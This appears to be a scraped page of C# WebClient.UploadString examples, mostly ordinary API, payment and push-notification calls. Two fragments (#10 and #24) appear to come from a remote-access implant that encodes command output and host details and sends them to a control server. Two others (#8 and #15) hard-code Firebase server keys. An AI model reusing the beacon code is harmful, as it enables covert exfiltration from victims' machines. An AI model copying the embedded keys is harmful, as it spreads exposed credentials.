Exemple #1
0
        public JsonNetResult SaveScreen(MarketingCampaignScreen screen)
        {
            var user = ConnectCmsRepository.SecurityRepository.GetLoggedInUser();

            ConnectCmsRepository.MarketingCampaignRepository.SaveMarketingCampaignScreen(user.PKID, screen);
            var adboardIds =
                ConnectCmsRepository.WelcomeTabletRepository.GetAdBoardsUsingCampaignScreen(screen.PKID).Select(x => x.PKID);

            Task.Run(() =>
            {
                foreach (var adboard in adboardIds)
                {
                    try
                    {
                        var callBackUrl = string.Format("{0}://{1}/adboard/NotifyAdBoardChanged?id={2}", Request.Url.Scheme,
                                                        Request.Url.Host, adboard);
                        using (var wc = new System.Net.WebClient())
                        {
                            wc.Headers.Add(System.Net.HttpRequestHeader.ContentType, "application/json; charset=utf-8");
                            wc.Encoding = Encoding.UTF8;
                            wc.UploadString(callBackUrl, "POST", "");
                        }
                    }
                    catch (Exception ex)
                    {
                        Logger.LogException(ex);
                    }
                }
            });
            return(JsonNet(true));
        }
Exemple #2
0
        public static string GetHttpPage(string url, string ntext, string post)
        {
            string ApiStatus = string.Empty;

            using (System.Net.WebClient wc = new System.Net.WebClient())
            {
                wc.Encoding = System.Text.Encoding.UTF8;
                try
                {
                    if (!string.IsNullOrEmpty(post) && post.ToLower() == "post".ToLower())
                    {
                        ApiStatus = wc.UploadString(url, "POST", ntext);
                    }
                    else
                    {
                        ApiStatus = wc.DownloadString(url + "?" + ntext);
                    }
                }
                catch (Exception ex)
                {
                    ApiStatus = "ERROR:" + ex.Message.ToString();
                }
            }
            return ApiStatus;
        }
        public override IEnumerable<LocalizedString> Execute(WorkflowContext workflowContext, ActivityContext activityContext)
        {
            var part = workflowContext.Content.As<WXMsgPart>();
            var apiUrl = activityContext.GetState<string>("api_url");
            var apiToken = activityContext.GetState<string>("api_token");
            var timestamp = HttpContext.Current.Request.QueryString["timestamp"];
            var nonce = HttpContext.Current.Request.QueryString["nonce"];

            string[] arr = { apiToken, timestamp, nonce };
            Array.Sort(arr);     //字典排序
            string tmpStr = string.Join("", arr);
            var signature = _winXinService.GetSHA1(tmpStr);
            signature = signature.ToLower();

            var client = new System.Net.WebClient();
            client.Encoding = System.Text.Encoding.UTF8;
            var url = string.Format("{0}?timestamp={1}&nonce={2}&signature={3}"
                    , apiUrl, timestamp, nonce, signature);
            string postData = part.XML;
            //using (var stream = HttpContext.Current.Request.InputStream)
            //{
            //    var reader = new StreamReader(stream);
            //    postData = reader.ReadToEnd();
            //}

            string result = null;
            try
            {
                result = client.UploadString(url, postData);
            }
            catch (System.Net.WebException ex)
            {
                string msg = null;
                using (var stream = ex.Response.GetResponseStream())
                {
                    var reader = new StreamReader(stream);
                    msg = reader.ReadToEnd();
                }
                Logger.Warning(ex, ex.Message);
            }
            catch (Exception ex)
            {
                var innerEx = ex;
                while (innerEx.InnerException != null)
                    innerEx = innerEx.InnerException;
                Logger.Warning(ex, innerEx.Message);
            }

            if (result == null)
            {
                yield return T("Error");
            }
            else
            {
                HttpContext.Current.Response.Clear();
                HttpContext.Current.Response.Write(result);
                HttpContext.Current.Response.End();
                yield return T("Success");
            }
        }
Exemple #4
0
 public static void Run(TimerInfo dailyAtSeven, TraceWriter log)
 {
     using (var client = new System.Net.WebClient())
     {
         client.UploadString("https://foodtruck-adminweb.azurewebsites.net/subscription/notify", "PUT", String.Empty);
     }
 }
Exemple #5
0
 public static void Run(TimerInfo everyMinute, TraceWriter log)
 {
     using (var client = new System.Net.WebClient())
     {
         client.UploadString("https://foodtruck-adminweb.azurewebsites.net/order/timernotification", "PUT", String.Empty);
     }
 }
            public override async void OnLoadResource(WebView view, string url)
            {
                // If the URL is not our own custom scheme, just let the webView load the URL as usual
                var scheme = "hybrid:";

                //if (!url.StartsWith(scheme))
                //	return false;

                if (url.EndsWith("Scanner"))
                {
                    var scanner = new ZXing.Mobile.MobileBarcodeScanner();

                    var result = await scanner.Scan(view.Context, new ZXing.Mobile.MobileBarcodeScanningOptions {
                        PossibleFormats = new List <ZXing.BarcodeFormat> {
                            ZXing.BarcodeFormat.QR_CODE
                        }
                    });

                    if (result != null)
                    {
                        Console.WriteLine("Scanned Barcode: " + result.Text);
                        scanner.Cancel();
                        // TODO
                        System.Net.WebClient client = new System.Net.WebClient();
                        var response = client.UploadString("https://idcoin.howell.no/Bank/Authenticated", result.Text);
                        // - POST request to /Bank/AuthenticateOrWhatever with the keywords in the QR
                        // - Navigate to /Authenticator/Success

                        view.LoadUrl("https://idcoin.howell.no/Authenticator/Success");
                    }
                }
            }
Exemple #7
0
        public string CreateBucket(string bucketKey)
        {
            //POST https://developer-stg.api.autodesk.com/oss/v2/buckets
            string result;

            using (var client = new System.Net.WebClient())
            {
                client.Headers[System.Net.HttpRequestHeader.Authorization] = "Bearer " + twoLeggedBearerToken.AccessToken;
                client.Headers[System.Net.HttpRequestHeader.ContentType]   = "application/json";
                var jsonObject = new
                {
                    bucketKey = bucketKey, policyKey = "transient"
                };
                var jsonString = Newtonsoft.Json.JsonConvert.SerializeObject(jsonObject);
                try
                {
                    result = client.UploadString(apigeeHostUrl + "/oss/v2/buckets", "POST", jsonString);
                }
                catch (System.Exception e)
                {
                    result = $"{{\"exception\":\"{e.Message}\"}}";
                    Log(result.ToPrettyJsonString());
                }
            }
            return(result.ToPrettyJsonString());
        }
Exemple #8
0
        protected void btnPushAllUsers_Click(object sender, EventArgs e)
        {
            string serverKey = "AAAAf8RzuZY:APA91bEzYy3t1nJBDJlH5YxDhqLuI3yBpFn46fbBzmSo9tSi-A4R7yeiilBBGOOVJnWRMqOkuRQWMeHkTLJJbnoimAvO3oeRShA8LN6l-x1UWPoV_vZW2_M-VD9Azb7x6R-xBxFIZMYH";

            var files = System.IO.Directory.GetFiles(AppDomain.CurrentDomain.BaseDirectory + "user_token");

            var wc = new System.Net.WebClient();

            wc.Headers.Add("Authorization", "key=" + serverKey);
            wc.Headers.Add("Content-Type", "application/json");
            wc.Encoding = System.Text.Encoding.UTF8;

            if (files != null)
            {
                foreach (var file in files)
                {
                    var token = System.IO.File.ReadAllText(file);
                    Response.Write("TOKEN:" + token.ToString() + "<br>");


                    var d = new PushRequestInfo();
                    d.registration_ids = new List <string>();
                    d.registration_ids.Add(token);

                    d.priority   = "normal";
                    d.data       = new Data();
                    d.data.body  = "Donma TEST";
                    d.data.title = "HI,許當麻";

                    var res = wc.UploadString("https://fcm.googleapis.com/fcm/send", Newtonsoft.Json.JsonConvert.SerializeObject(d));
                    Response.Write(res + "<br><br>");
                }
            }
        }
Exemple #9
0
        private Dictionary <string, object> CallAPI(string cmd, SortedList <string, string> parms, out string jsonResult)
        {
            if (parms == null)
            {
                parms = new SortedList <string, string>();
            }
            try
            {
                parms["version"] = "1";
                parms["key"]     = s_pubkey;
                parms["cmd"]     = cmd;
            }
            catch (Exception)
            {
            }

            string post_data = "";

            foreach (KeyValuePair <string, string> parm in parms)
            {
                if (post_data.Length > 0)
                {
                    post_data += "&";
                }
                post_data += parm.Key + "=" + Uri.EscapeDataString(parm.Value);
            }

            byte[] keyBytes   = encoding.GetBytes(s_privkey);
            byte[] postBytes  = encoding.GetBytes(post_data);
            var    hmacsha512 = new System.Security.Cryptography.HMACSHA512(keyBytes);
            string hmac       = BitConverter.ToString(hmacsha512.ComputeHash(postBytes)).Replace("-", string.Empty);

            // do the post:
            System.Net.WebClient cl = new System.Net.WebClient();
            cl.Headers.Add("Content-Type", "application/x-www-form-urlencoded");
            cl.Headers.Add("HMAC", hmac);
            cl.Encoding = encoding;

            var ret = new Dictionary <string, object>();

            try
            {
                string resp    = cl.UploadString("https://www.coinpayments.net/api.php", post_data);
                var    decoder = new System.Web.Script.Serialization.JavaScriptSerializer();
                ret        = decoder.Deserialize <Dictionary <string, object> >(resp);
                jsonResult = resp;
            }
            catch (System.Net.WebException e)
            {
                ret["error"] = "Exception while contacting CoinPayments.net: " + e.Message;
                jsonResult   = null;
            }
            catch (Exception e)
            {
                ret["error"] = "Unknown exception: " + e.Message;
                jsonResult   = null;
            }

            return(ret);
        }
Exemple #10
0
        /*
         * <explanation>
         * Send result of command to speficied uri as rspns.
         * </explanation>
         */
        public void _sendResult(String result, System.Net.WebClient web, initialEnum enumEnv, Chiper chipops)
        {
            string asd = chipops._base64encode(chipops._xorOps(result, enumEnv.xorKey));


            string myParameters = "sid=" + chipops._base64encode(chipops._xorOps(enumEnv.clientID, "northstar")) + "&rspns=" + chipops._base64encode(chipops._xorOps(result, enumEnv.xorKey));

            web.Headers[System.Net.HttpRequestHeader.ContentType] = "application/x-www-form-urlencoded";

            try
            {
                string sendResult = web.UploadString(Globals.resultSendUri, myParameters);
            }
            catch
            {
                while (true)
                {
                    if (errorCounter > 19)
                    {
                        break;
                    }
                    System.Threading.Thread.Sleep(enumEnv.waitTime);
                    try
                    {
                        _sendResult(result, web, enumEnv, chipops);
                        break;
                    }
                    catch
                    {
                        errorCounter++;
                    }
                }
                errorCounter = 0;
            }
        }
Exemple #11
0
        /// <summary>
        /// 登录
        /// </summary>
        /// <param name="userAccount"></param>
        /// <param name="password"></param>
        /// <param name="strError"></param>
        /// <returns></returns>
        public virtual bool B2BLogin(string userAccount, string password, ref string strError)
        {
            System.Net.WebClient client = new System.Net.WebClient();
            client.Headers["Content-Type"] = "application/json";
            client.Encoding = Encoding.UTF8;
            string url                      = ComixSDK.EDI.Utils.ConfigHelper.GetConfigString("B2BLOGINURL") + "ACTION=UserLogin&account=" + userAccount + "&password="******"";
            string callingJson              = "";
            Dictionary <string, object> dic = new Dictionary <string, object>();

            dic.Add("ACTION", "UserLogin");
            dic.Add("account", userAccount);
            dic.Add("password", password);
            callingJson = JsonDataService.ObjectToJSON(dic);
            try
            {
                responseJson = client.UploadString(url, callingJson);
                responseJson = responseJson.Trim("\0".ToCharArray());
            }
            catch (Exception ex)
            {
                strError = ex.Message;
                return(false);
            }
            ResponseLoginInfoModel responseDomain = new ResponseLoginInfoModel();

            if (responseDomain.code == "0")
            {
                return(true);
            }
            else if (responseDomain.code == "-1")
            {
                strError = "系统故障,请联系管理员";
            }
            else if (responseDomain.code == "8" || responseDomain.code == "4")
            {
                strError = "您输入的账户名/密码不匹配,请核对后重新输入!";
            }
            else if (responseDomain.code == "2")
            {
                strError = "对不起,该帐号已被冻结或未激活,请联系管理员!";
            }
            else if (responseDomain.code == "3")
            {
                strError = "对不起,管理员不能登录前台!";
            }
            else if (responseDomain.code == "5")
            {
                strError = "用户尚未激活,必须激活后才能登录!";
            }
            else if (responseDomain.code == "7")
            {
                strError = "账号异常,请联系管理员!";
            }
            else
            {
                strError = "系统账号异常,请联系管理员!";
            }
            return(false);
        }
 void IPaymentProvider.RedirectToPaymentPage(ref string redirect)
 {
     string cbUrl = "https://api.coinbase.com/v2/checkouts";
     JObject data = new JObject
     {
         { "amount", "\"" + Order.Total.ToString() + "\"" },
         { "currency", "USD"},
         { "name", "Eventblock Order Ticket Online" },
         { "description", "" },
         { "type", "order" },
         { "style", "buy_now_large" },
         { "auto_redirect", true },
         { "success_url", "" },
         { "cancel_url", "" },
         { "metadata", new JObject {
                 { "orderid", Order.OrdersId },
                 { "rf", Order.ReferenceCode }
             }
         }
     };
     string result = "";
     using (var client = new System.Net.WebClient())
     {
         client.Headers.Add("Content-Type", "application/json");
         result = client.UploadString(cbUrl, "POST", data.ToString());
     }
 }
 private void Run()
 {
     using (System.Net.WebClient wc = new System.Net.WebClient())
     {
         _r = wc.UploadString(_url, "POST", _postData);
     }
 }
Exemple #14
0
        public string RaportPracy(int id_pracy, int typ_raportu, string empl_id, int qty, string storage_place)
        {
            _FullQtyReport fqr = new _FullQtyReport();

            fqr.device_id     = null;
            fqr.employee_id   = empl_id;
            fqr.quantity      = qty;
            fqr.report_type   = typ_raportu;
            fqr.storage_place = storage_place;



            JsonSerializerSettings microsoftDateFormatSettings = new JsonSerializerSettings
            {
                DateFormatHandling = DateFormatHandling.MicrosoftDateFormat
            };
            string tst_fqr = JsonConvert.SerializeObject(fqr, microsoftDateFormatSettings);
            var    client  = new System.Net.WebClient();

            client.Headers.Add("Authorization", _token);
            client.Headers.Add("API-Version", _api_version);
            client.Headers.Add("Content-Type", _ContentType);
            client.Headers.Add("Access-Control-Request-Method", "PUT");
            string addr = $@"http://192.168.1.129:13002/task/" + id_pracy + "/";

            try
            {
                return(client.UploadString(addr, "PATCH", tst_fqr));
            }
            catch (Exception e)
            {
                return(e.Message);
            }
        }
Exemple #15
0
        protected void btnPushAllUsers_Click(object sender, EventArgs e)
        {
            string serverKey = "AAAAN8t6HnQ:APA91bGCvCr9S3FMvu-uCByrUSE3-KWjtL8iUW20xaRe9GsCFlXiuz23f4mpupI9PPP9V5ZXvtxzglbm-18daM35hwamVleztf34wWnzjfTGU-7-gaF9NRb2d3tVSG91xkli5hrwhSUlHC4PPis500LJMVwWFVoElA";

            var files = System.IO.Directory.GetFiles(AppDomain.CurrentDomain.BaseDirectory + "user_token");

            var wc = new System.Net.WebClient();

            wc.Headers.Add("Authorization", "key=" + serverKey);
            wc.Headers.Add("Content-Type", "application/json");
            wc.Encoding = System.Text.Encoding.UTF8;

            if (files != null)
            {
                foreach (var file in files)
                {
                    var token = System.IO.File.ReadAllText(file);
                    Response.Write("TOKEN:" + token.ToString() + "<br>");


                    var d = new PushRequestInfo();
                    d.registration_ids = new List <string>();
                    d.registration_ids.Add(token);

                    d.priority   = "normal";
                    d.data       = new Data();
                    d.data.body  = "Donma TEST";
                    d.data.title = "HI,許當麻123";

                    var res = wc.UploadString("https://fcm.googleapis.com/fcm/send", Newtonsoft.Json.JsonConvert.SerializeObject(d));
                    Response.Write(res + "<br><br>");
                }
            }
        }
Exemple #16
0
        public string StartPracy(int id_pracy, string id_pracownika, string id_maszyny)
        {
            _Employee_start str = new _Employee_start();

            str.device_id   = id_maszyny;
            str.employee_id = id_pracownika;

            JsonSerializerSettings microsoftDateFormatSettings = new JsonSerializerSettings
            {
                DateFormatHandling = DateFormatHandling.MicrosoftDateFormat
            };
            string tst_rps = JsonConvert.SerializeObject(str, microsoftDateFormatSettings);



            var client = new System.Net.WebClient();

            client.Headers.Add("Authorization", _token);
            client.Headers.Add("API-Version", _api_version);
            client.Headers.Add("Content-Type", _ContentType);
            client.Headers.Add("Access-Control-Request-Method", "PUT");
            string addr = $@"http://192.168.1.129:13002/task/" + id_pracy + "/";

            try
            {
                return(client.UploadString(addr, "PUT", tst_rps));
            }
            catch (Exception e) {
                return(e.Message);
            }
        }
        public IActionResult callback()
        {
            var uid      = HttpContext.Request.Query["uid"].ToString();
            var authCode = HttpContext.Request.Query["auth_code"].ToString();

            var jsonBody = JsonConvert.SerializeObject(new
            {
                uid           = uid,
                auth_code     = authCode,
                developer_key = LiveData.DeveloperKey,
                secret_key    = LiveData.SecreteKey
            });

            var client   = new System.Net.WebClient();
            var response = client.UploadString("https://sb-autenticacao-api.original.com.br/OriginalConnect/AccessTokenController", "POST", jsonBody);

            LiveData.Token = JsonConvert.DeserializeObject <AcessTokenResponse>(response).access_token;

            client = new System.Net.WebClient();
            client.Headers.Add("Authorization", LiveData.Token);

            var data = Newtonsoft.Json.JsonConvert.DeserializeObject <MLResponse>(client.DownloadString("http://localhost:55556/api/data"));

            bool alerta = data == null ? false : decimal.Parse(data.Results.output1.value.Values.Last().Last(), System.Globalization.CultureInfo.GetCultureInfo("en-US")) < (decimal)0.6;

            if (alerta)
            {
                return(View("Alerta"));
            }
            else
            {
                return(RedirectToAction("index", "Saldo"));
            }
        }
Exemple #18
0
        public bool AddUserIntoHlidacGroup(string username)
        {
            var data = JsonConvert.SerializeObject(
                new
            {
                api_key      = apiKey,
                api_username = "******",
                usernames    = username
            }
                );

            System.Net.WebClient client = new System.Net.WebClient();
            string s = client.UploadString(GetUrl("groups/43/members.json", false), "PUT", data);

            var ret = Newtonsoft.Json.Linq.JObject.Parse(s);

            if (ret["success"].ToObject <bool>())
            {
                return(true);
            }
            else
            {
                return(false);
            }
        }
Exemple #19
0
        public Dictionary <string, object> CallAPI(string cmd, string username, string packagename, double investmentAmt, SortedList <string, string> parms = null)
        {
            if (parms == null)
            {
                parms = new SortedList <string, string>();
            }
            parms["version"] = "1";
            parms["key"]     = s_pubkey;
            parms["cmd"]     = cmd;
            //parms["txid"] = "CPBF0T9M9AZ3RSADV9V4LGD4DD";
            parms["amount"]     = investmentAmt.ToString();;
            parms["currency1"]  = "USD";
            parms["currency2"]  = "BTC";
            parms["buyer_name"] = username;
            parms["item_name"]  = packagename;
            parms["ipn_url"]    = "https://btcpro.co/Home/ipn";



            string post_data = "";

            foreach (KeyValuePair <string, string> parm in parms)
            {
                if (post_data.Length > 0)
                {
                    post_data += "&";
                }
                post_data += parm.Key + "=" + Uri.EscapeDataString(parm.Value);
            }

            byte[] keyBytes   = encoding.GetBytes(s_privkey);
            byte[] postBytes  = encoding.GetBytes(post_data);
            var    hmacsha512 = new System.Security.Cryptography.HMACSHA512(keyBytes);
            string hmac       = BitConverter.ToString(hmacsha512.ComputeHash(postBytes)).Replace("-", string.Empty);

            // do the post:
            System.Net.WebClient cl = new System.Net.WebClient();
            cl.Headers.Add("Content-Type", "application/x-www-form-urlencoded");
            cl.Headers.Add("HMAC", hmac);
            cl.Encoding = encoding;

            var ret = new Dictionary <string, object>();

            try
            {
                string resp    = cl.UploadString("https://www.coinpayments.net/api.php", post_data);
                var    decoder = new System.Web.Script.Serialization.JavaScriptSerializer();
                ret = decoder.Deserialize <Dictionary <string, object> >(resp);
            }
            catch (System.Net.WebException e)
            {
                ret["error"] = "Exception while contacting CoinPayments.net: " + e.Message;
            }
            catch (Exception e)
            {
                ret["error"] = "Unknown exception: " + e.Message;
            }
            return(ret);
        }
Exemple #20
0
        public void SendPushNotification()
        {
            var cacheProvider = new CacheProvider(memoryCache);

            //performances
            List <PerformanceDataModel> performancesWp =
                cacheProvider.GetAndSave(
                    () => Constants.PerformancesCacheKey + "uk",
                    () => perfomanceRepository.GetPerformanceTitlesAndImages("uk"));

            //schedule
            IEnumerable <ScheduleDataModelBase> scheduleWp =
                cacheProvider.GetAndSave(
                    () => Constants.ScheduleCacheKey + "uk",
                    () => scheduleRepository.GetListPerformancesByDateRange("uk", DateTime.Now));

            //statements above need to be changed when cache preload is implemented

            IEnumerable <PushTokenDataModelPartial> pushTokensPartial = pushTokenRepository.GetAllPushTokensToSendNotifications();

            List <PushTokenDataModel> pushTokens =
                (from partialInfo in pushTokensPartial
                 join performance in performancesWp on partialInfo.PerformanceId equals performance.PerformanceId
                 join schedule in scheduleWp on performance.PerformanceId equals schedule.PerformanceId

                 where (schedule.Beginning.Day == (DateTime.Today.AddDays(partialInfo.Frequency).Day) &&
                        (schedule.PerformanceId == partialInfo.PerformanceId))

                 select new PushTokenDataModel
            {
                Token = partialInfo.Token,
                LanguageCode = partialInfo.LanguageCode,
                ImageUrl = performance.MainImageUrl,
                Title = performance.Title
            })
                .Distinct(new PushTokenDataModelComparer())  //select distinct push tokens in order not to send several notifications
                .ToList();

            List <PushNotificationDTO> reqBody = (pushTokens.Select(p =>
                                                                    new PushNotificationDTO
            {
                To = p.Token,
                Title = p.LanguageCode == "en" ? "Lviv Puppet Theater" : "Львівський театр ляльок",
                Body = p.LanguageCode == "en" ?
                       $"{p.Title} coming soon" : $"{p.Title} скоро на сцені",
                Icon = $"{p.ImageUrl}",
                Color = "#9984d4"
            })).ToList();

            using (System.Net.WebClient client = new System.Net.WebClient())
            {
                client.Headers.Add("accept", "application/json");
                client.Headers.Add("accept-encoding", "gzip, deflate");
                client.Headers.Add("Content-Type", "application/json");
                client.UploadString(
                    "https://exp.host/--/api/v2/push/send",
                    JsonConvert.SerializeObject(reqBody));
            }
        }
Exemple #21
0
 public static string PostToWxOpenApi(string url, string postData)
 {
     using (System.Net.WebClient wc = new System.Net.WebClient())
     {
         wc.Encoding = Encoding.UTF8;
         return(wc.UploadString(url, "POST", postData));
     }
 }
Exemple #22
0
 /// <summary>
 /// 请求微信统一下单接口
 /// </summary>
 /// <param name="postData"></param>
 /// <returns></returns>
 public static string PostToUnifiedOrder(string postData)
 {
     using (System.Net.WebClient wc = new System.Net.WebClient())
     {
         wc.Encoding = Encoding.UTF8;
         return(wc.UploadString(unifiedorderUrl, "POST", postData));
     }
 }
Exemple #23
0
        /// <summary>
        /// 根据ip获取地址长串
        /// </summary>
        /// <param name="ip"></param>
        /// <returns></returns>
        public static string GetJson(string ip)
        {
            string url = "http://api.map.baidu.com/location/ip?ak=F454f8a5efe5e577997931cc01de3974&ip=" + ip + "&coor=bd09l";

            System.Net.WebClient wc = new System.Net.WebClient();
            wc.Encoding = System.Text.Encoding.UTF8;
            return(wc.UploadString(url, ""));
        }
Exemple #24
0
        /*
         * <explanation>
         * Second stage of registration process.
         * In this stage; operating system, machine name, username, working directory, process id and current privileges are send to server
         * via POST request in base64 format. And if server returns "OK" as response, registration process will be marked as completed.
         * Otherwise, function waits for 5 seconds and tries to send POST request again.
         * <variable>isCompleted</variable> will be used for checking if registration process is completed.
         * </explanation>
         */
        private void _registerSecondStage(ref initialEnum enumed)
        {
            if (errorCounter < 20)
            {
                OperatingSystem os_info = System.Environment.OSVersion;

                string opsys   = chiperObj._base64encode(chiperObj._xorOps(enumed.osVer, enumed.xorKey));
                string mName   = chiperObj._base64encode(chiperObj._xorOps(enumed.mName, enumed.xorKey));
                string sus     = chiperObj._base64encode(chiperObj._xorOps(enumed.userName, enumed.xorKey));
                string wdir    = chiperObj._base64encode(chiperObj._xorOps(enumed.executablePath, enumed.xorKey));
                string isadmin = chiperObj._base64encode(chiperObj._xorOps(enumed.isAdmin.ToString(), enumed.xorKey));
                string pid     = chiperObj._base64encode(chiperObj._xorOps(enumed.processId.ToString(), enumed.xorKey));
                string id      = chiperObj._base64encode(chiperObj._xorOps(enumed.clientID, "northstar"));

                string myParameters = "sid=" + id + "&opsys=" + opsys + "&mName=" + mName + "&sus=" + sus + "&wdir=" + wdir + "&pid=" + pid + "&isadm=" + isadmin;

                web.Headers[System.Net.HttpRequestHeader.ContentType] = "application/x-www-form-urlencoded";
                try
                {
                    string res = web.UploadString(Globals.registerSecondStageUri, myParameters);

                    if (!res.Contains("NOT FOUND"))
                    {
                        isComplete   = true;
                        errorCounter = 0;
                    }
                    else
                    {
                        errorCounter += 1;
                        System.Threading.Thread.Sleep(5000);
                        _registerSecondStage(ref enumed);
                    }
                }
                catch
                {
                    errorCounter += 1;
                    System.Threading.Thread.Sleep(5000);
                    _registerSecondStage(ref enumed);
                }
            }
            else
            {
                isComplete = false;
            }
        }
Exemple #25
0
        public string PostMessage(string address, string message)
        {
            if (disposed)
            {
                throw new ObjectDisposedException("WebClient", DisposedErrorMessage);
            }

            return(webClient.UploadString(address, message));
        }
Exemple #26
0
        /// <summary>
        /// 请求远程服务代理
        /// </summary>
        /// <param name="url"></param>
        /// <param name="pars"></param>
        /// <returns></returns>
        public static Data.ServiceProxyReturn Request(string url, string key, params object[] pars)
        {
            var requestpar = new Data.ServiceProxyParam();

            requestpar.Key    = key;
            requestpar.Params = new List <Data.ServiceProxyMethodParam>();
            if (pars != null)
            {
                foreach (var p in pars)
                {
                    if (p == null)
                    {
                        requestpar.Params.Add(new Data.ServiceProxyMethodParam()
                        {
                            Value = null
                        });
                    }
                    else
                    {
                        var t = p.GetType();
                        if (t == typeof(string))
                        {
                            requestpar.Params.Add(new Data.ServiceProxyMethodParam()
                            {
                                Value = p.ToString(), DataType = t.FullName
                            });
                        }
                        else if (t.IsClass || t.IsGenericType || t.IsArray)
                        {
                            var json = Serialization.JSon.ModelToJson(p);
                            requestpar.Params.Add(new Data.ServiceProxyMethodParam()
                            {
                                Value = json, DataType = t.FullName
                            });
                        }
                        else
                        {
                            requestpar.Params.Add(new Data.ServiceProxyMethodParam()
                            {
                                Value = p.ToString(), DataType = t.FullName
                            });
                        }
                    }
                }
            }

            var request = new System.Net.WebClient();

            request.Encoding = System.Text.Encoding.UTF8;

            var requestdata = Serialization.JSon.ModelToJson(requestpar);
            var r           = request.UploadString(url, "post", requestdata);
            var result      = Serialization.JSon.JsonToModel <Data.ServiceProxyReturn>(r);

            return(result);
        }
Exemple #27
0
        public override View GetView(int position, View convertView, ViewGroup parent)
        {
            if (convertView == null)
            {
                convertView = context.LayoutInflater.Inflate(Resource.Layout.MainItem, null);
            }

            var tv1  = convertView.FindViewById <TextView>(Resource.Id.textView1);
            var tv2  = convertView.FindViewById <TextView>(Resource.Id.textView2);
            var img  = convertView.FindViewById <ImageView>(Resource.Id.imageView1);
            var btn1 = convertView.FindViewById <Button>(Resource.Id.button1);
            var btn2 = convertView.FindViewById <Button>(Resource.Id.button2);

            tv1.Text = data[position].Name;
            tv2.Text = data[position].Description;
            if (data[position].Image != null)
            {
                var bitmap = Android.Graphics.BitmapFactory.DecodeByteArray(data[position].Image, 0, data[position].Image.Length);
                img.SetImageBitmap(bitmap);
            }
            else
            {
                img.Visibility = ViewStates.Gone;
            }
            // Update
            btn1.Click += delegate
            {
                var i = new Intent(context, typeof(UpdateItemActivity));

                i.PutExtra("Id", data[position].Id);
                i.PutExtra("Name", data[position].Name);
                i.PutExtra("Description", data[position].Description);

                context.StartActivity(i);
            };
            // Delete
            btn2.Click += delegate
            {
                var builder = new AlertDialog.Builder(context);
                builder.SetMessage("Are you sure to delete?");
                builder.SetPositiveButton("OK", (sender, args) =>
                {
                    // String a =  System.Security.Cryptography.MD5.Create().ComputeHash(System.Text.Encoding.UTF8.GetBytes("password here")).Aggregate("", (c, n) => c + n);
                    using (var client = new System.Net.WebClient())
                    {
                        client.UploadString(ConnectionInfo.PeopleController + "/" + data[position].Id.ToString(), "DELETE", string.Empty);
                    }
                });
                builder.SetNegativeButton("Cancel", (sender, args) =>
                {
                });
                builder.Create().Show();
            };

            return(convertView);
        }
Exemple #28
0
 // Go to Manage References at the top and add System.Net from the .NET Framework... and change the Bots Access Rights to Full Access (at the top of the page!)
 protected void SlackMe(string Message, string Channel)
 {
     if (Channel == "")
     {
         Channel = "daily-levels";
     }
     System.Net.WebClient WC = new System.Net.WebClient();
     string Webhook          = "https://hooks.slack.com/services/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";
     string Response         = WC.UploadString(Webhook, "{\"text\": \"" + Message + "\", \"channel\": \"#" + Channel + "\"}");
 }
Exemple #29
0
        /// <summary>
        /// post数据到指定接口并返回数据
        /// </summary>
        public string PostXmlToUrl(string url, string postData)
        {
            string returnmsg = "";

            using (System.Net.WebClient wc = new System.Net.WebClient())
            {
                returnmsg = wc.UploadString(url, "POST", postData);
            }
            return(returnmsg);
        }
Exemple #30
0
        private int CreateProject(string endpoint, string token, int customerId, int templateId, string name, string sourceLanguage, string targetLanguage, string sourceFolder)
        {
            // Works to create a project
            ShowStatus("Creating project...");
            var client   = new System.Net.WebClient();
            var boundary = GetBoundary();

            client.Headers.Add("Content-Type", "multipart/form-data; boundary=" + boundary);
            client.Headers.Add("Authorization", "XTM-Basic " + token);

            var request = new StringBuilder(10240);

            request.AppendLine("--" + boundary);
            request.AppendLine("Content-Disposition: form-data; name=\"customerId\"");
            request.AppendLine();
            request.AppendLine(customerId.ToString());
            request.AppendLine("--" + boundary);
            request.AppendLine("Content-Disposition: form-data; name=\"name\"");
            request.AppendLine();
            request.AppendLine(name);
            request.AppendLine("--" + boundary);
            request.AppendLine("Content-Disposition: form-data; name=\"sourceLanguage\"");
            request.AppendLine();
            request.AppendLine(sourceLanguage);
            request.AppendLine("--" + boundary);
            request.AppendLine("Content-Disposition: form-data; name=\"templateId\"");
            request.AppendLine();
            request.AppendLine(templateId.ToString());
            request.AppendLine("--" + boundary);
            request.AppendLine("Content-Disposition: form-data; name=\"targetLanguages\"");
            request.AppendLine();
            request.AppendLine(targetLanguage);
            request.AppendLine("--" + boundary);
            request.AppendLine("Content-Disposition: form-data; name=\"fileProcessType\"");
            request.AppendLine();
            request.AppendLine("JOIN");
            request.AppendLine("--" + boundary);
            var index = 0;

            foreach (var file in Directory.GetFiles(sourceFolder).Where(f => f.EndsWith(".xml")))
            {
                var filename = file.Split("\\".ToCharArray()).Last();
                request.AppendLine("--" + boundary);
                request.AppendLine("Content-Disposition: form-data; name=\"translationFiles[" + index++ + "].file\"; filename=\"" + filename + "\"");
                request.AppendLine("Content-Type: text/xml");
                request.AppendLine();
                request.AppendLine(File.ReadAllText(file));
            }
            request.AppendLine("--" + boundary + "--");

            var json     = client.UploadString(endpoint + "/projects", "POST", request.ToString());
            var response = Deserialize(json, typeof(ProjectCreateResponse)) as ProjectCreateResponse;

            return(response.ProjectId);
        }
Exemple #31
0
        public ApiResponse <T> Query <T, R>(string path, R data)
        {
            //Console.WriteLine();
            //Console.WriteLine("--------------------------");
            //Console.WriteLine("请求地址:" + ServerUri + path);
            Console.WriteLine("请求源对象:" + Newtonsoft.Json.JsonConvert.SerializeObject(data));
            System.Net.WebClient client = null;
            ApiResponse <T>      result = null;

            try
            {
                client          = new System.Net.WebClient();
                client.Encoding = Encoding.UTF8;
                if (path.Substring(0, 1) != "/")
                {
                    path = "/" + path;
                }
                string t;
                string s;
                if (E(data, out t, out s))
                {
                    var request = new ApiRequest <R>();
                    request.S    = s;
                    request.T    = t;
                    request.Data = data;

                    //Console.WriteLine("请求数据:" + S(request));
                    var paramData = System.Web.HttpUtility.UrlEncode(S(request));
                    //Console.WriteLine("请求数据UrlEncode编码:" + paramData);
                    var uri  = ServerUri + path + "?Data=" + paramData;
                    var temp = client.UploadString(uri, "");
                    Console.WriteLine("请求结果:" + temp);
                    result = Newtonsoft.Json.JsonConvert.DeserializeObject <ApiResponse <T> >(temp);
                }
                else
                {
                    result       = new ApiResponse <T>();
                    result.Error = "加密失败!";
                }

                // Console.WriteLine("请求结束\n");
                return(result);
            }
            catch (Exception e)
            {
                result       = new ApiResponse <T>();
                result.Error = e.Message;
